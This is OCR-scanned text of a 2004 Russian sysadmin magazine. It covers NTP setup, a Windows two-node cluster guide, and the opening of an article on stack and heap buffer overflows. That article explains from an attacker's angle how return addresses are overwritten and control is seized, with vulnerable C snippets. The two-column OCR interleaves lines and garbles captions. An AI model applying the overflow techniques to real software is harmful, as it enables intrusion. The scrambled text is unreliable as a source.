считать оконченной, однако может так получиться, что пос- Этот режим используется в том случае, если производит-
ле запуска демона время все еще не будет синхронизи- ся синхронизация времени между большим количеством
роваться. Дело в том, что протокол NTP изначально раз- равноправных машин. Помимо того, что каждая машина
рабатывался как протокол поддержания времени, а не его синхронизируется с внешним источником, она также осу-
установки. Поэтому, если разница между показаниями ществляет синхронизацию со своими соседями (peer),
часов достаточно велика (более чем несколько минут), то выступая для них в качестве клиента и сервера времени.
синхронизация производиться не будет. В этом случае Поэтому даже если машина «потеряет» внешний источ-
имеет смысл первоначально установить время вручную ник, она все еще сможет получить точное время от своих
при помощи команды ntpdate (также можно добавить ко- соседей. Соседи могут работать в двух режимах – актив-
манду ntpdate в стартовые скрипты машины): ном и пассивном. Работая в активном режиме, машина
сама передает свое время всем машинам-соседям, пере-
[root@nix]# ntpdate navobs1.wustl.e численным в секции peers конфигурационного файла
ntp.conf. Если же в этой секции соседи не указаны, то счи-
[root@nix]# ntpdate navobs1.wustl.e тается, что машина работает в пассивном режиме. Для
того чтобы злоумышленник не смог скомпрометировать
[root@nix]# ntpdate navobs1.wustl.e другие машины, представившись в качестве активного
источника, необходимо использовать аутентификацию.
Запуск ntp-демона производится через инициализаци-
онные скрипты. Если программа устанавливалась из rpm- Режим Broadcast
пакета, то скорее всего все вопросы, связанные с ее ав- Этот режим рекомендуется использовать в тех случаях,
томатическим запуском, уже решены. Для того чтобы в когда малое количество серверов обслуживает большое
этом убедиться, можно воспользоваться командой: количество клиентов. Работая в этом режиме, сервер пе-
риодически рассылает пакеты, используя широковеща-
[root@nix tmp]# chkconfig –list ntpd тельный адрес подсети. Клиент, настроенный на синхро-
низацию таким способом, получает широковещательный
пакет сервера и производит синхронизацию с сервером.
Если вы не видите этой строки, значит, автоматический Особенностью этого режима является то, что время дос-

20
администрирование
тавляется в рамках одной подсети (ограничение broadcast- Режим Manycast
пакетов). Кроме того, для защиты от злоумышленников Этот режим является нововведением четвертой версии
необходимо использовать аутентификацию. протокола NTP. Он подразумевает поиск клиентом среди
своих сетевых соседей manycast-серверов, получение от
Режим Multicast каждого из них образцов времени (с использованием крип-
Данный режим во многом похож на broadcast. Отличие зак- тографии) и выбор на основании этих данных трех «луч-
лючается в том, что для доставки пакетов используются ших» manycast-серверов, с которыми клиент будет произ-
multicast-адреса сетей класса D адресного пространства водить синхронизацию. В случае выхода из строя одного
IP-адресов. Для клиентов и серверов задается адрес из серверов клиент автоматически обновляет свой список.
multicast-группы, которую они используют для синхрони- Для передачи образцов времени клиенты и серверы,
зации времени. Это делает возможным синхронизацию работающие в manycast-режиме, используют адреса
групп машин, расположенных в различных подсетях, при multicast-групп (сети класса D). Клиенты и серверы, ис-
условии, что соединяющие их маршрутизаторы поддер- пользующие один и тот же адрес, формируют одну ассо-
живают протокол IGMP и настроены на передачу группо- циацию. Количество ассоциаций определяется количе-
вого трафика. ством используемых multicast-адресов.

Часто возникающие вопросы ! Убедитесь, что время клиента и сервера отличается


Почему после команды net time /setsntp:server время не не слишком сильно (не более 5 минут). В противном
синхронизируется? случае выполните принудительную синхронизацию при
! Убедитесь, что для службы w32time задан тип запуска помощи ntpdate.
«Автоматически».
! Убедитесь, что порт UDP 123 используемого NTP-сер- Демон ntpd настроен, но при этом время, кажется, не синх-
вера доступен. ронизируется.
! Убедитесь, что время между клиентом и сервером не ! Возможно, проблема в том, что порт UDP 123 зак-
отличается слишком сильно. рыт firewall. В этом случае информация, выводимая
ntpq –p, будет примерно следующей:
Может ли SNTP-клиент синхронизироваться с NTP-серве-
ром?
! Да, может, так как протокол SNTP является подмно-
жеством NTP и полностью с ним совместим.

Можно ли использовать NTP-сервер от третьих произво-


дителей в ОС Windows 2000/XP/2003? Можно ли синхронизировать время в OS Windows NT4,
! Да, можно воспользоваться любым сервером, платным 95, 98, Me?
или бесплатным. Предварительно следует отключить ! Можно, при помощи программ третьих фирм, например,
соответствующие компоненты (клиентские или сервер- NetTime, Automacahron, World Time5, ntpd Windows NT port.
ные) службы Windows Time.
При попытке входа в домен Windows появляется сообще-
Почему NTP-клиент не работает на компьютере с установ- ние, что время между контроллером домена и рабочей
ленным MS SQL Server? станцией отличается слишком сильно, при том, что синх-
! Скорее всего проблема заключается в том, что SQL ронизация точно настроена.
Server каким-либо образом занимает порт UDP 123. В ! Скорее всего проблема в том, что время сбилось очень
качестве решения можно предложить запуск клиента сильно (сброс CMOS, хакерская диверсия) и службе
NTP до MS SQL Server. не удается пройти аутентификацию по протоколу
Kerberos. Для решения этой проблемы нужно либо
Демона ntpd после запуска работает 10-20 минут, после вручную подвести время, либо не использовать этот
чего останавливается. В чем может быть проблема? вид аутентификацию при обновлении времени.

Серверы времени ! ntp.saard.net


Первичные серверы: ! ntp1.belbone.be
! ntp0.cs.mu.OZ.AU ! ntp.cais.rnp.br
! clock.uregina.ca ! ntp.hiway.com.br
! ntp.metas.ch ! time2.one4vision.de
! rustime01.rus.uni-stuttgart.de ! ntp.psn.ru
! chronos.cru.fr ! sign.chg.ru
! ntp2.usno.navy.mil ! ntp.rinet.ru
! ntp.demos.ru
Вторичные серверы: Новейший список серверов можно узнать по адресу:
! tock.nap.com.ar http://www.eecis.udel.edu/~mills/ntp.

№4(17), апрель 2004 21


администрирование

СОЗДАНИЕ КЛАСТЕРА
НА БАЗЕ WINDOWS 2000/2003.
ШАГ ЗА ШАГОМ

ГЕННАДИЙ ДМИТРИЕВ
22
администрирование
Кластер – это группа из двух или более серверов, дей- большое пошаговое руководство по созданию двухузлово-
ствующих совместно для обеспечения безотказной рабо- го кластера серверов с разделяемым хранилищем данных.
ты набора приложений или служб и воспринимаемых кли-
ентом как единый элемент. Узлы кластера объединяются
между собой с помощью аппаратных сетевых средств, Системные рекомендации
совместно используемых разделяемых ресурсов и сервер- Требования к программному обеспечению:
ного программного обеспечения. ! Microsoft Windows 2000 Advanced (Datacenter) Server
Microsoft Windows 2000/2003 поддерживает две техно- или Microsoft Windows 2003 Server Enterprise Edition, ус-
логии кластеризации: кластеры с балансировкой нагруз- тановленные на всех серверах кластера.
ки (Network Load Balancing) и кластеры серверов. ! Установленная служба DNS. Немного поясню. Если вы
В первом случае (кластеры с балансировкой нагруз- строите кластер на основе двух контроллеров домена,
ки) служба Network Load Balancing придает службам и при- то намного удобнее использовать службу DNS, кото-
ложениям свойства высокого уровня надежности и масш- рую вы в любом случае устанавливаете при создании
табируемости за счет объединения до 32 серверов в еди- Active Directory. Если вы создаете кластер на основе
ный кластер. Запросы от клиентов в данном случае рас- двух серверов, членов Windows NT домена, то вам при-
пределяются среди узлов кластера прозрачным образом. дется использовать либо службу WINS, либо заносить
При отказе узла кластер автоматически изменяет свою соответствие имен и адресов машин в файл hosts.
конфигурацию и переключает клиента на любой из дос- ! Terminal Services для удаленного управления сервера-
тупных узлов. Этот режим конфигурации кластера также ми. Не обязательно, но при наличии Terminal Services
называется active-active режимом, когда одно приложение удобно управлять серверами со своего рабочего места.
работает на нескольких узлах.
Кластер серверов распределяет свою нагрузку среди Требования к аппаратному обеспечению:
серверов кластера, причем каждый сервер несет свою соб- ! Аппаратное обеспечение для узла кластера лучше под-
ственную нагрузку. Если происходит отказ узла в класте- бирать, основываясь на Cluster Service Hardware
ре, то приложения и службы, настроенные на работу в кла- Compatible List (HCL). По рекомендациям Microsoft ап-
стере, прозрачным образом перезапускаются на любом из паратное обеспечение должно быть протестировано на
свободных узлов. Кластеры серверов используют разде- совместимость с Cluster Services.
ляемые диски для обмена данными внутри кластера и для ! Соответственно вам понадобятся два сервера, имею-
обеспечения прозрачного доступа к приложениям и служ- щих по два сетевых адаптера; SCSI-адаптер, имеющий
бам кластера. Для них требуется специальное оборудова- внешний интерфейс для подключения внешнего мас-
ние, но данная технология обеспечивает очень высокий сива данных.
уровень надежности, поскольку сам кластер не имеет ка- ! Внешний массив, имеющий два внешних интерфейса.
кой-либо единственной точки отказа. Этот режим конфи- Каждый из узлов кластера подключается к одному из
гурации кластера также называется active-passive режимом. интерфейсов.
Приложение в кластере работает на одном узле с общими
данными, расположенными на внешнем хранилище. Замечание: для создания двухузлового кластера со-
Кластерный подход к организации внутренней сети всем не обязательно иметь два абсолютно одинаковых
дает следующие преимущества: сервера. После сбоя на первом сервере у вас будет не-
! Высокий уровень готовности. много времени, чтобы проанализировать и восстановить
То есть, если происходит сбой службы или приложе- работу основного узла. Второй же узел будет работать на
ния на каком-то узле кластера, настроенного на совме- безотказность системы в целом. Однако это не означает,
стную работу в кластере, кластерное программное что второй сервер будет простаивать. Оба узла кластера
обеспечение позволяет перезапустить это приложение могут спокойно заниматься своими делами, решать раз-
на другом узле. Пользователи при этом ощутят крат- ные задачи. А вот некий критический ресурс мы и можем
ковременную задержку при проведении какой-то опе- настроить на работу в кластере, увеличив его (этого ре-
рации либо вообще не заметят серверного сбоя. сурса) отказоустойчивость.
! Масштабируемость. Требования к сетевым настройкам:
Для приложений, работающих в кластере, добавление ! Уникальное NetBIOS имя для кластера.
серверов к кластеру означает увеличение возможнос- ! Пять уникальных статических IP-адресов. Два для се-
тей: отказоустойчивости, распределение нагрузки и т. д. тевых адаптеров на кластерную сеть, два для сетевых
! Управляемость. адаптеров на общую сеть и один для кластера.
Администраторы, используя единый интерфейс, могут ! Доменная учетная запись для кластерного сервиса
управлять приложениями и службами, устанавливать (Cluster service).
реакцию на сбой в узле кластера, распределять нагруз- ! Все узлы кластера должны быть либо member server в
ку среди узлов кластера и снимать нагрузку с узлов домене, либо контроллерами домена.
для проведения профилактических работ. ! Каждый сервер должен иметь два сетевых адаптера.
Один для подключения в общую сеть (Public Network),
В этой статье я попытаюсь собрать свой опыт по со- второй для обмена данными между узлами кластера
зданию кластерных систем на базе Windows и дать не- (Private Network).

№4(17), апрель 2004 23


администрирование
Замечание: по рекомендациям Microsoft ваш сервер ! Установка и настройка узлов в кластере.
должен иметь два сетевых адаптера, один для общей сети, ! Установка и настройка разделяемого ресурса.
второй для обмена данными внутри кластера. Можно ли ! Проверка дисковой конфигурации.
строить кластер на одном интерфейсе – наверное, да, но ! Конфигурирование первого узла кластера.
я не пробовал. ! Конфигурирование второго узла в кластере.

Это пошаговое руководство позволит вам избежать


Установка кластера ошибок во время установки и сэкономить массу времени.
При проектировании кластера вы должны понимать, что, Итак, начнем.
используя одну физическую сеть как для кластерного об-
мена, так и для локальной сети, вы увеличиваете процент
отказа всей системы. Поэтому крайне желательно для кла- Установка и настройка узлов
стерного обмена данными использовать одну подсеть, вы- Мы немного упростим задачу. Поскольку все узлы клас-
деленную в отдельный физический элемент сети. А для ло- тера должны быть либо участниками домена, либо кон-
кальной сети стоит использовать другую подсеть. Тем са- троллерами домена, то корневым держателем каталога
мым вы увеличиваете надежность всей системы в целом. AD (Active Directory) сделаем 1-й узел кластера, на нем же
В случае построения двухузлового кластера один ком- будет работать DNS-служба. 2-й узел кластера будет пол-
мутатор используется общей сетью. Два сервера класте- ноправным контроллером домена.
ра можно связать между собой кросс-кабелем напрямую, Установку операционной системы я готов пропустить,
как показано на рисунке. полагая, что в этом у вас не должно быть каких-то про-
Установка двухузлового кластера может быть разде- блем. А вот конфигурацию сетевых устройств хочется
лена на 5 шагов. пояснить.
External RAID

SCSI Connection SCSI Connection

Private Cluster Private Cluster


connection connection
Cluster node
Cluster node IP: 192.168.30.1 IP: 192.168.30.2 2
1 MASK: 255.255.255.252 MASK: 255.255.255.252
DNS: 192.168.100.1 DNS: 192.168.100.1

Cluster network
192.168.30.0/30

Public Cluster
Public Cluster
Public network connection
connection
192.168.100.0/24
IP: 192.168.100.2
IP: 192.168.100.1 MASK: 255.255.255.0
MASK: 255.255.255.0
DNS: 192.168.100.1
DNS: 192.168.100.1

Client node
Client node N
1

Ñõåìà äâóõóçëîâîãî êëàñòåðà íà áàçå Windows 2000/2003 ñ âíåøíèì ìàññèâîì äàííûõ

24
администрирование
Сетевые настройки ! Internet Protocol (TCP/IP) → Properties → Use the following
Перед началом установки кластера и Active Directory не- IP: 192.168.30.1. (Для второго узла используйте адрес
обходимо выполнить сетевые настройки. Все сетевые на- 192.168.30.2). Введите маску подсети 255.255.255.252.
стройки хочется разделить на 4 этапа. Для распознава- В качестве адреса DNS-сервера для обоих узлов ис-
ния имен в сети желательно иметь DNS-сервер с уже су- пользуйте адрес 192.168.100.1.
ществующими записями о серверах кластера. ! Дополнительно на вкладке Advanced → WINS выберите
Каждый сервер имеет по две сетевые карты. Одна се- пункт Disabled NetBIOS over TCP/IP. Для настроек сете-
тевая карта будет служить для обмена данными между уз- вых адаптеров общей (Public) сети этот пункт опустите.
лами кластера, вторая будет работать на клиентов в на-
шей сети. Соответственно первый назовем Private Cluster
Connection, второй назовем Public Cluster Connection.

Настройки сетевых адаптеров для одного и для друго-


го сервера идентичны. Соответственно я покажу, как на-
строить сетевой адаптер и дам табличку с сетевыми на-
стройками всех 4 сетевых адаптеров на обоих узлах кла-
стера. Для настройки сетевого адаптера необходимо вы-
полнить следующие шаги:
! My Network Places → Properties.
! Private Cluster Connection → Properties → Configure → ! Проделайте то же самое с сетевой картой для локаль-
Advanced. Этот пункт требует пояснений. Дело в том, ной сети Public Cluster Connection. Используйте адре-
что по настоятельным рекомендациям Microsoft на всех са, приведенные в табличке. Единственная разница в
сетевых адаптерах узлов кластера должна быть уста- конфигурации двух сетевых плат состоит в том, что для
новлена оптимальная скорость работы адаптера, как Public Cluster Connection не требуется выключения ре-
показано на следующем рисунке. жима WINS – NetBIOS over TCP/IP.

Для конфигурирования всех сетевых адаптеров на уз-


лах кластера используйте следующую табличку:

Установка Active Directory


Поскольку моя статья не преследует цель рассказать об
установке Active Directory, то этот пункт я опущу. Всевоз-
можных рекомендаций, книг об этом написано достаточно
много. Выберете доменное имя, вроде mycompany.ru, уста-
новите Active Directory на первом узле, добавьте второй узел
в домен в качестве контроллера домена. Когда все сде-
лаете, проверьте конфигурации серверов, Active Directory.

Установка Cluster User Account


По рекомендациям Microsoft для Cluster Service следует
создать отдельную учетную запись, от имени которой он
будет работать. Эта учетная запись должна быть создана
до установки Cluster Service:

№4(17), апрель 2004 25


администрирование
! Start → Programs → Administrative Tools → Active Directory ! Закрываем Disk Management и проверяем доступ к
Users and Computers. вновь созданному разделу. Например, можно создать
! Добавьте нового пользователя, например, ClusterService. на нем текстовый файл test.txt, записать и удалить.
! Установите флажки на: User Cannot Change Password Если все прошло нормально, то с конфигурацией внеш-
и Password Never Expires. него массива на первом узле мы закончили.
! Также добавьте этого пользователя в группу админис- ! Теперь выключаем первый сервер. Внешний массив
траторов и дайте ему права «Log on as a service» (пра- должен быть включен. Включаем второй сервер и про-
ва назначаются в «Local Security Policy» и «Domain веряем доступ к созданному разделу. Также проверим,
Controller Security Policy»). чтобы буква, назначенная первому разделу, была иден-
тична выбранной нами, то есть Q.

На этом конфигурация внешнего массива завершена.

Установка Cluster Service Software


Конфигурация первого узла кластера
Перед началом установки Cluster Service Software все узлы
кластера должны быть выключены, все внешние масси-
вы должны быть включены. Перейдем к конфигурации
первого узла. Внешний массив включен, первый сервер
включен. Весь процесс установки происходит с использо-
Настройка внешнего массива данных ванием Cluster Service Configuration Wizard:
Для настройки внешнего массива данных в кластере не- ! Start → Setting → Control Panel → Add/Remove Programs.
обходимо помнить, что перед установкой Cluster Service ! Выбираем Add/Remove Windows Components.
на узлах вы должны сначала сконфигурировать диски на ! Выберем Cluster Service и нажмем Next. Во время ус-
внешнем массиве, только потом устанавливать службу тановки система попросит указать расположение фай-
кластера сначала на первом узле, только потом на вто- лов с дистрибутива, соответственно либо воспользу-
ром. В случае нарушения порядка установки у вас про- емся CD-ROM-диском, либо укажем расположение
изойдет сбой, и вы не достигнете цели. Можно ли будет файлов на локальном диске.
исправить – наверное, да. Когда появится ошибка, у вас ! На экране появится диалоговое окно с текстом пример-
будет время, чтобы поправить настройки. Но Microsoft но следующего содержания: вы должны понимать, что
столь загадочная штука, что совсем не знаешь, на какие используете железо, рекомендованное и тестированное
грабли наступишь. Проще иметь перед глазами пошаго- Microsoft в кластерных системах. Соответственно все
вую инструкцию и не забывать нажимать на кнопки. По компоненты системы должны быть перечислены в HCL
шагам конфигурирование внешнего массива выглядит так: (Hardware Compatibility List). Нажимаем I Understand и
! Оба сервера должны быть выключены, внешний мас- следуем дальше.
сив включен, подсоединен к обоим серверам.
! Включаем первый сервер. Получаем доступ к диско-
вому массиву.
! Проверяем, чтобы внешний дисковый массив был со-
здан как Basic. Если это не так, то переведем диск с
помощью опции Revert to Basic Disk.
! Создаем на внешнем диске через Computer Manage-
ment → Disk Management небольшой раздел. По реко-
мендациям Microsoft он должен быть не менее 50 Мб. Я
рекомендую создать раздел в 500 Мб или чуть больше.
Для размещения кластерных данных этого вполне дос-
таточно. Раздел должен быть отформатирован в NTFS.
! На обоих узлах кластера этот раздел будет назван од-
ной буквой, например, Q. Соответственно при созда-
нии раздела на первом сервере выберем пункт Assign ! В следующем диалоговом окне выбираем The first node
the following drive letter – Q. in the cluster, как показано на следующем рисунке.
! Оставшуюся часть диска вы можете разметить по сво- ! В следующем окне введите имя кластера, например,
ему желанию. Конечно, крайне желательно использо- MyCluster, и нажмите далее.
вать файловую систему NTFS. Например, при настрой- ! Введите имя пользователя и пароль, от имени которо-
ке служб DNS, WINS основные базы служб будут пере- го будет работать Cluster Service. Если помните, не-
несены на общий диск (не системный том Q, а второй, сколько шагов назад мы создавали такого пользова-
созданный вами). И по соображению безопасности вам теля и назвали его ClusterService. Введите domain name
будет удобнее использовать именно NTFS-тома. (mycompany.ru) и нажмите «NEXT».

26
администрирование

! Для внешнего сетевого адаптера (локальная сеть) ус-


танавливаем следующие параметры: Enable this network
for cluster use и All communications (mixed network), как
показано на рисунке:

! На следующем этапе вас попросят сконфигурировать


кластерные диски. Соответственно диск Q, который мы
создавали, будет использоваться для обмена данны-
ми между узлами кластера. Как показано на рисунке,
выберите диск Q и нажмите «NEXT».
! В этом примере мы сконфигурировали два сетевых
адаптера на одном узле кластера. Один из них Public
Cluster Connection используется для обмена данными в
локальной сети. Второй – Private Cluster Connection ис-
пользуется для обмена данными внутри кластера. Пос-
ле конфигурации сетевых адаптеров нажмем далее и
перейдем к конфигурации IP-адреса кластера. Введем
уникальный IP-адрес (192.168.100.5) и маску подсети
(255.255.255.0), как показано на следующем рисунке.

! Следующий шаг – это конфигурирование сетевых


адаптеров для использования в кластере. Для внутрен-
него сетевого адаптера, используемого для кластер-
ного обмена данными между узлами внутри кластера,
выбираем пункты, как показано на следующем рисун-
ке (Enable this network for cluster use и Internal cluster
communications only):

№4(17), апрель 2004 27


администрирование
! После завершения установки Cluster Service Software периментировали с серверами WINS и DHCP, длитель-
на первом узле, система автоматически присвоит выб- ность реакции на отказ сервиса не превышала 1.5 секунд.
ранный IP-адрес нашему кластеру, сконфигурирует се- А время реакции Exchange-сервера составляла около 10
тевые адаптеры и сетевые диски. После завершения секунд, это выражалось в небольшом тайм-ауте в работе
установки можно использовать Cluster Administrator для клиента.
управления ресурсами кластера. По завершении всех этих операций вы получите пол-
ностью работающий двухузловой кластер. В качестве ре-
сурсов кластера можно использовать внутренние службы
WINS, DNS, DHCP, можно настроить IIS-сервер на работу
внутри кластера. Можно использовать внешние приложе-
ния, главное, чтобы они поддерживали кластерные тех-
нологии Microsoft. Можно бесконечно долго спорить о том,
нужна ли данная технология. На мой взгляд, каждое ре-
шение должно быть обосновано и грамотно реализовано.
Я лишь попытался поделиться своим опытом создания
такой системы.
Хочется выразить глубокую благодарность за неоце-
нимую интеллектуальную помощь Андрееву Павлу, сис-
Конфигурация второго узла кластера темному администратору Novavox.
Для установки и конфигурирования второго узла класте-
ра необходимо, чтобы первый узел был включен, все се-
тевые диски были включены. Процедура настройки вто-
рого узла очень напоминает ту, что я описал выше. Одна-
ко есть небольшие изменения. Для этого используйте сле-
дующую инструкцию:
! В диалоговом окне Create or Join a Cluster выберите
The second or next node in the cluster и нажмите далее.
! Введите имя кластера, которое мы задали ранее (в при-
мере это MyCluster), и нажмите далее.
! После подключения второго узла к кластеру Cluster
Service Configuration Wizard автоматически заберет
все установки с основного узла. Для запуска службы
Cluster Service используйте имя, которые мы созда-
вали ранее.
! Введите пароль вашей учетной записи и нажмите да-
лее.
! В следующем диалоговом окне нажмите Finish для за-
вершения установки.
! Cluster service будет запушен на втором узле.
! Закройте окно Add/Remove Programs.

Для установки дополнительных узлов кластера исполь-


зуйте эту же инструкцию.

Постскриптум, благодарности
и прочее
Чтобы вам не запутаться со всеми этапами установки кла-
стера, приведу небольшую табличку, в которой отражены
все основные этапы.
Время реакции кластера на непредвиденные ситуации
зависит от множества параметров. Это тип ресурса, свой-
ства ресурса, свойства группы ресурсов и времени, необ-
ходимого ресурсу на загрузку. Например, загрузка базы
данных сервера DHCP происходит достаточно быстро. Од-
нако перевод Exchange-сервера может занять до несколь-
ких секунд. Это время, необходимое Exchange-серверу
произвести быструю проверку целостности базы и загру-
зить все необходимые компоненты. В частности, мы экс-

28
безопасность

ОШИБКИ ПЕРЕПОЛНЕНИЯ БУФЕРА ИЗВНЕ И ИЗНУТРИ


КАК ОБОБЩЕННЫЙ ОПЫТ РЕАЛЬНЫХ АТАК
ЧАСТЬ 2

Рассматривая различные механизмы переполнения и обсуждая их возможные последствия,


ранее мы не касались таких «организационных» вопросов, как, например, порядок размещения
переполняющихся буферов, затираемых переменных и служебных структур данных в оперативной
памяти. Теперь пришло время восполнить этот пробел.

КРИС КАСПЕРСКИ
30
безопасность
В стеке… зуется в основном для служебных нужд shell-кода. При
Переполнения автоматических буферов наиболее часты этом следует учитывать, что:
и наиболее коварны. Часты – потому что размер таких а) объем стека не безграничен и упирается в определен-
буферов жестко (hardcoded) определяется еще на этапе ный лимит, так что выделять гигабайты памяти все-
компиляции, а процедура проверки корректности обраба- таки не стоит;
тываемых данных зачастую отсутствует или реализована б) если один из спящих объектов процесса-жертвы нео-
с грубыми ошибками. Коварны – потому что в непосред- жиданно проснется, содержимое свободной стековой па-
ственной близости от автоматических буферов присут- мяти окажется искаженным, и чтобы этого не случилось,
ствует адрес возврата из функции, модификация которо- shell-код должен подтянуть регистр ESP к верхнему уров-
го позволяет злоумышленнику осуществить передачу уп- ню, резервируя необходимое количество байт памяти;
равления на произвольный код. в) поскольку стековая память, принадлежащая потоку,
Еще в стеке содержится указатель на фрейм (он же выделяется динамически по мере его распухания, лю-
кадр) материнской функции, сохраняемый компилятором бая попытка выхода за пределы сторожевой страницы
перед открытием фрейма дочерней функции. Вообще-то (page guard) завершается исключением, поэтому либо
оптимизирующие компиляторы, поддерживающие техно- не запрашивайте более 4 Кб, либо прочитайте хотя бы
логию «плавающих» фреймов, обходятся и без этого, ис- по одной ячейке из каждой резервируемой страницы,
пользуя регистр-указатель вершины кадра как обычный двигаясь снизу вверх. Подробнее об этом можно про-
регистр общего назначения, однако даже поверхностный читать у Рихтера.
анализ обнаруживает большое количество уязвимых при-
ложений с кадром внутри, так что этот прием атаки все В зависимости от ограничений, наложенных на пре-
еще остается актуальным. Модификация кадра стека сры- дельно допустимую длину переполняющегося буфера,
вает адресацию локальных переменных и аргументов могут затираться те или иные локальные переменные или
материнской функции и дает возможность управлять ими служебные структуры данных. Очень может статься, что
по своему усмотрению. Установив кадр материнской фун- до адреса возврата просто не удастся «дотянуться», а
кции на «свой» буфер, злоумышленник может положить в даже если и удастся – не факт, что функция не грохнется
материнские переменные (аргументы) любые значения (в задолго до своего завершения. Допустим, за концом стро-
том числе и заведомо некорректные, поскольку проверка кового переполняющегося буфера располагается указа-
допустимости аргументов обычно выполняется до вызо- тель, из которого после переполнения что-то читается (за-
ва дочерних функций, а корректность автоматических пе- писывается). Поскольку переполнение буфера неизбеж-
ременных после их инициализации проверяют только па- но затирает указатель, любая попытка чтения оттуда вы-
раноики). Внимание! Поскольку после возврата из дочер- зывает немедленное исключение и – как следствие – ава-
ней функции все принадлежащие ей локальные перемен- рийное завершение программы. Причем затереть адрес
ные автоматически освобождаются, использовать дочер- возврата, подсунув указателю корректный адрес, скорее
ний буфер для хранения материнских переменных нельзя всего не удастся, т.к. в операционных системах семейства
(точнее, не рекомендуется, но если действовать осторож- Windows все гарантированно доступные адреса лежат
но, то можно). Обратитесь к куче, статической памяти или значительно ниже 01010101h – наименьшего адреса, ко-
автоматической памяти параллельного потока, воздей- торый только можно внедрить в середину строкового бу-
ствуя на нее косвенным образом. фера (подробнее см. «Запрещенные символы»). Так что
Выше кадра стека располагаются сохраненные значе- буфера, расположенные внизу кадра стека, для перепол-
ния регистров, восстанавливаемые при выходе из функ- нения все же предпочтительнее.
ции. Если материнская функция хранит в одном или не- За концом адреса возврата начинается область памя-
скольких таких регистрах критические переменные (напри- ти, принадлежащая материнским функциям и содержащая
мер, указатели, в которые что-то записывается), мы можем аргументы дочерней функции, автоматические переменные
свободно воздействовать на них по своему усмотрению. материнской функции, сохраненные регистры/кадр стека
Дальше начинается область, «оккупированная» ло- проматеринской функции/адрес возврата в праматеринс-
кальными переменными (и переполняющимся буфером в кую функции и т. д. Теоретически переполняющийся буфер
том числе). В зависимости от прихоти компилятора пос- может все это затереть (ну бывают же такие буйные буфе-
ледний может быть расположен как наверху кадра стека, ра), практически же – это либо не нужно, либо неосуще-
так и в гуще локальных переменных – это уже как пове- ствимо. Если мы можем навязать программе корректный
зет (или не повезет – с точки зрения жертвы). Перемен- адрес возврата (т.е. адрес возврата, указывающий на shell-
ные, находящиеся «ниже» переполняющегося буфера, код или любую точку «родного» кода программы), то в ма-
могут быть затерты при последовательном переполне- теринскую функцию она уже не вернется, и все махинации
нии – самом распространенном типе переполнения. Пе- с материнскими переменными останутся незамеченными.
ременные, находящиеся «выше» переполняющегося бу- Если же навязать корректный адрес возврата по тем или
фера, затираются лишь индексным переполнением, кото- иным причинам невозможно, то материнская функция тем
рое чрезвычайно мало распространено. более не сможет получить управления.
Наконец, выше кадра стека находятся только небо и Намного большую информацию несет чтение материн-
звезды, пардон – свободное стековое пространство. За- ской области памяти (см. «Указатели и индексы» в пре-
тирать тут особенно нечего, и эта область памяти исполь- дыдущей статье данного цикла) – здесь действительно

№4(17), апрель 2004 31


безопасность
можно встретить много чего интересного. Конфиденци- В куче…
альные данные (типа паролей и номеров кредитных карт), Буфера, расположенные в динамической памяти, также
дескрипторы секретных файлов, которые невозможно от- подвержены переполнению. Многие программисты, лени-
крыть обычным образом, сокеты установленных TCP-со- вые от природы, сначала выделяют буфер фиксирован-
единений (почему бы их не использовать для обхода бран- ного размера, а затем определяют, сколько памяти им не-
дмауэров?) и т. д. обходимо, причем ситуацию недостатка памяти обрабо-
Модификация аргументов дочерней функции менее тать традиционно забывают. В куче чаще всего встреча-
перспективна, хотя временами и бывает полезной. Среди ются переполняющиеся буфера двух типов: элементы
аргументов Си/Си++ программ традиционно много указа- структур и динамически выделяемые блоки памяти.
телей. Обычно это указатели на данные, но встречаются Допустим, в программе имеется структура demo, со-
и указатели на код. Последние наиболее перспективны, держащая в том числе и буфер фиксированного размера:
поскольку позволяют захватывать управление програм-
мой до ее обрушения. Указатели на данные, конечно, тоже Ëèñòèíã 1. Ïðèìåð ñòðóêòóðû ñ ïåðåïîëíÿþùèìñÿ áóôåðîì âíóò-
ðè (îí âûäåëåí êðàñíûì öâåòîì)
хороши (особенно те из них, что позволяют записывать
по навязанным адресам навязанные данные, т.е. работа- strict demo
{
ют как Бейсик-функция POKE), однако, чтобы дотянуться int a;
до своих аргументов при последовательном переполне- char buf[8];
int b;
нии уязвимого буфера, необходимо пересечь ячейки па- }
мяти, занятые адресом возврата…
Неосторожное обращение с обрабатываемыми данны-
ми (например, отсутствие нужных проверок в нужном ме-
сте) может привести к возможности переполнения буфе-
ра buf и как следствие – затиранию расположенных за ним
переменных. В первую очередь это переменные-члены
самой структуры (в данном случае – переменная b), стра-
тегия модификации которых вполне типична и подчиня-
ется тем же правилам – общим для всех переполняющих-
ся буферов. Менее очевидна возможность затирания яче-
ек памяти, лежащих за пределами выделенного блока па-
мяти. Кстати, для буферов, монопольно владеющих всем
выделенным блоком памяти, это единственно возможная
стратегия переполнения вообще. Взгляните на следующий
код. Как вы думаете, что здесь можно переполнить?

Ëèñòèíã 2. Ïðèìåð äèíàìè÷åñêîãî áëîêà ïàìÿòè, ïîäâåðæåííîãî


ïåðåïîëíåíèþ
#define MAX_BUF_SIZE 8
#define MAX_STR_SIZE 256
char *p;

p = malloc(MAX_BUF_SIZE);

Ðèñóíîê 1. Êàðòà ðàñïðåäåëåíèÿ ñòåêîâîé ïàìÿòè strncpy(p, MAX_STR_SIZE, str);
В затирании адреса возврата есть одна интересная
тонкость: адрес возврата – это абсолютный адрес, и если Долгое время считалось, что переполнять здесь осо-
мы хотим передать управление непосредственно на сам бенно и нечего. Максимум – можно устроить банальный
переполняющийся буфер, нам либо приходится надеять- DoS, но целенаправленно захватить управление жертвой
ся на то, что в уязвимой программе переполняющийся невозможно в силу хаотичности распределения динами-
буфер окажется по такому-то адресу (а это не факт), либо ческих блоков по памяти. Базовый адрес блока p, вообще
искать механизм передачи управления на вершину стека. говоря, случаен, и за его концом может быть расположено
Червь Love San решает проблему путем подмены ад- все что угодно, в том числе и невыделенный регион памя-
реса возврата на адрес машинной инструкции JMP ESP, ти, всякое обращение к которому приводит к немедленно-
расположенной во владениях операционной системы. му исключению, аварийно завершающему программу.
Недостатки такой методики очевидны: во-первых, она не На самом деле, все это не более чем расхожие заб-
срабатывает в тех случаях, когда переполняющийся бу- луждения. Сегодня переполнением динамических буфе-
фер расположен ниже вершины стека, а, во-вторых, мес- ров никого не удивишь. Эта технология широко и небе-
тоположение инструкции JMP ESP тесно связано с верси- зуспешно используется в качестве универсального (!) сред-
ей операционной системы, и получается, как в той пого- ства захвата управления. Нашумевший червь Slapper –
